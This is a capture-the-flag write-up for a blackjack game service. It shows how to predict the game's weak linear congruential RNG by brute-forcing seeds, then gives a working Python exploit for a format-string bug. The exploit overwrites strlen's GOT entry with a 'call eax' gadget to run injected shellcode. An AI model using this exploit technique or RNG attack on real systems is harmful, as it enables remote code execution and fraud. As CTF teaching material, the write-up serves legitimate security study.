Jacked
file running at jacked.final2012.ghostintheshellcode.com:2121
Summary: weak random, BlackJack bot, format string
Let’s see:
$ nc 127.0.0.1 2121 Jack's Blackjack Simulator Blackjack pays 2:1 Dealer must hit soft 17 Single deck, shuffled after every round Enter your name: hellman Your table companions: Player 1 is Donald with $1299 Player 2 is Alexander with $2153 Player 3 is Monica with $1055 Player 4 is Carrie with $1925 You have $1000 Place your bet (zero to exit): $100 Dealer XXX J ♠ Donald 9 ♣ 5 ♦ A ♥ 8 ♠ (23) Alexander J ♥ 3 ♠ A ♣ Q ♦ (24) Monica 6 ♠ A ♦ (17) Carrie 10♣ J ♣ (20) You K ♥ 9 ♠ (19) (H)it or (S)tand? S Dealer 5 ♣ J ♠ 4 ♥ (19) It is a draw You have $1000 |
1. Weak random
After analyzing the binary, you can see the random function:
int __cdecl sub_8048E6B() { STATE = 1103515245 * STATE + 12345; return STATE & 0x7FFFFFFF; } |
This is simple LCG. We can easily find out the state, after having a small sequence of generated numbers.
Names of players and their money are random at start. We can dump names table and get index of each name.
Let’s say we have such sequence:
308(mod 400) 1421(mod 2000) 210(mod 400) 115(mod 2000) 192(mod 400) 1577(mod 2000) 238(mod 400) 351(mod 2000) |
We know that at the last moment, (STATE & 0x7fffffff) % 2000 = 351. Also, we don’t need to know full STATE, only STATE & 0x7fffffff, because they have the same result in LCG.
Notice: be careful, modulus here is 0x80000000, not 0x7fffffff.
So, we can bruteforce all seeds in form 2000 * k + 351 – there are only ~1073741 possible k.
Here’s bruteforcer:
$ time ./pwn14_brute 308 1421 210 115 192 1577 238 351 239426351 real 0m0.008s user 0m0.000s sys 0m0.004s |
2. Coding a bot
After you know seed, there’s much work to do, to know all the cards in deck, and code a winning bot (we need 999999999$ to win the game).
Thx to @snkdna who coded our bot for this challenge!
3. Exploitation of format string
I’ll use patched binary, where we need only 1$ to win.
So, we have a format string bug:
int __cdecl f_congrats(int sock, const char *username) { sock_printf(sock, "\n\nCongratulations, "); sock_printf(sock, username); sock_printf(sock, ", you've won so much money that you now own the casino!\n"); return sock_printf(sock, "Might want tweak your blackjack tables.\n\n"); } |
We can overwrite any data in memory. But what?
int sock_printf(int sock, const char *a2, ...) { char *str; // [sp+14h] [bp-18h]@1 va_list v4; // [sp+18h] [bp-14h]@1 int v5; // [sp+1Ch] [bp-10h]@1 va_list va; // [sp+38h] [bp+Ch]@1 va_start(va, a2); v5 = 0; str = 0; v4 = va; v5 = vasprintf(&str, a2, va); if ( v5 != -1 ) v5 = sock_puts(sock, str); free(str); return v5; } int sock_puts(int sock, const char *str) { size_t v2; // eax@1 v2 = strlen(str); return sendAll(sock, str, v2); } |
You can see, that the first libc function called after vasprintf is strlen, and the argument is the result of sprintf. Before argument is placed on the stack, it’s put into eax register. So, we can simply use this gadget:
0x804889fL: call eax ; leave ;; |
To overwrite strlen@got.
Here’s exploit (using libformatstr):
from libformatstr import * def dofmt(fmt): f = sock("127.0.0.1", 2121) f.settimeout(999999999) f.recv(4096) f.send(fmt + "\n") f.send("1\n") while True: s = f.recv(4096) if "Congra" not in s: f.send("H\n") time.sleep(0.1) continue s = s[s.find("Congra")+len("Congratulations, "):] s = s[:s.find(", you've")] return s SC = open("payload").read() payload_len = 252 format_len = payload_len - len(SC) res = dofmt(SC + make_pattern(format_len)) res = res[len(SC):] # skip shellcode argnum, padding = guess_argnum(res, format_len) print argnum, padding p = FormatStr(format_len) p[0x0804c02c] = 0x804889f # call eax ;; leave s = p.payload(argnum, padding, len(SC)) s = SC + s dofmt(s) |
The flag: ThatWasSoMuchBetterThanCardCounting